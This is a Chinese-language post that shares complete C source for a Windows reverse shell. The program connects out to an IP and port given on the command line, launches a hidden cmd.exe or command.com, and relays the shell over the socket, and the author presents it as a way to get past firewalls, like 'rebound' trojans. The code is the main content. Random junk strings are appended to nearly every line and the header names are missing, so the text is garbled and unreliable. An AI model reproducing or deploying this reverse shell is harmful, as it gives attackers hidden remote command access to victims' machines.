Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 'OX6eY5
 
={L:q8v)  
/* ============================== q9WSQ$:z8  
Rebound port in Windows NT 5K6_#g4"  
By wind,2006/7 MB"?^~Sm  
===============================*/ Va*Uwy?x/)  
#include s9[v_(W  
#include At bqj?  
4qm5`o\hb  
#pragma comment(lib,"wsock32.lib") eEc;w#  
5&9(d_#H  
void OutputShell(); @#Xzk?+  
SOCKET sClient; ":-)mfgGU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A<.Q&4jb  
b0t];Gc%b  
void main(int argc,char **argv) H8-,gV  
{ 9I.v?Tap  
WSADATA stWsaData; .cZ&~ N  
int nRet; h0^V!.-5  
SOCKADDR_IN stSaiClient,stSaiServer; caj)  
nW drVT$  
if(argc != 3) \GvVs  
{ .ySesN: C~  
printf("Useage:\n\rRebound DestIP DestPort\n"); }=GyBnXu  
return; iPFYG  
} BEI/OGp  
#JLDj(a?  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9C4l@jrF  
l E&hw  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s*8hN*A/,  
-dvDAs{X  
stSaiClient.sin_family = AF_INET; <hK$Cf_  
stSaiClient.sin_port = htons(0); PO%]Jme  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I8Zp#'|U  
"BVz5?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n~)Y%xe[U  
{ }zobIfIF  
printf("Bind Socket Failed!\n"); vSnb>z1  
return; %cm5Z^B1"  
} a<Ns C1  
FQ-(#[  
stSaiServer.sin_family = AF_INET; ]nQ$:%HP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c~tSt.^WX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _
$bx4a  
U|Jo[4A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6/-!oo
 
{ zEhy0LLm  
printf("Connect Error!"); -y\N9  
return; \iL,l87  
} RV$+g.4  
OutputShell(); / P:Hfq  
} 0}^-, Q,  
DS$ _"'g%i  
void OutputShell() Fhsmpe~  
{ yCkm|  
char szBuff[1024]; V!opnLatYS  
SECURITY_ATTRIBUTES stSecurityAttributes; -DuiK:mp  
OSVERSIONINFO stOsversionInfo; *g,?13Q_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZK ?x_`w  
STARTUPINFO stStartupInfo; R_N<j  
char *szShell; LN
N:GD)>  
PROCESS_INFORMATION stProcessInformation; a[$.B2U  
unsigned long lBytesRead; xBZ9|2Y s  
apMYBbC  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c0qv11,:t  
kCwTv:)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EIYM0vls(  
stSecurityAttributes.lpSecurityDescriptor = 0; aW6+Up+G*  
stSecurityAttributes.bInheritHandle = TRUE; "aBd
0i&  
z67=v9+7  
fhY[I0;}$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
3H%HJS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _5K_YhT  
k,@J&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dikWk  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vd/S81/  
stStartupInfo.wShowWindow = SW_HIDE; 6_y|4!,:W  
stStartupInfo.hStdInput = hReadPipe; 3'"M31iA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; op|mRJBq;  
~4>Xi* B  
GetVersionEx(&stOsversionInfo); R|CY4G j  
d=#p w*w  
switch(stOsversionInfo.dwPlatformId) ^i8I 1@ =  
{ #w*pWD^  
case 1: lQsQRp  
szShell = "command.com"; B![5+  
break; avpw+M6+  
default: 0o<qEo^  
szShell = "cmd.exe"; a`-hLX)~Z  
break; ];I|_fXo%  
} 1SFKP$^  
q%k+x)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VBX# !K1Q  
r$#G%FMv  
send(sClient,szMsg,77,0); 46zaxcY<!  
while(1) {IMzR'PN  
{ 0lRH Yu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z8&C-yCC  
if(lBytesRead) sv;zvEn;-L  
{ ZW?7g+P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UTTC:=F+  
send(sClient,szBuff,lBytesRead,0); FqTkUWd,#  
} Wv0'?NL.  
else SznE:+  
{ +hg\DqO^M  
lBytesRead=recv(sClient,szBuff,1024,0); Y/S3)o  
if(lBytesRead<=0) break; 2*citB{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X?6h>%) k  
} VU/W~gb4"A  
} eCp|QSXE  
O8r"M8  
return; ^)q2\YE;  
}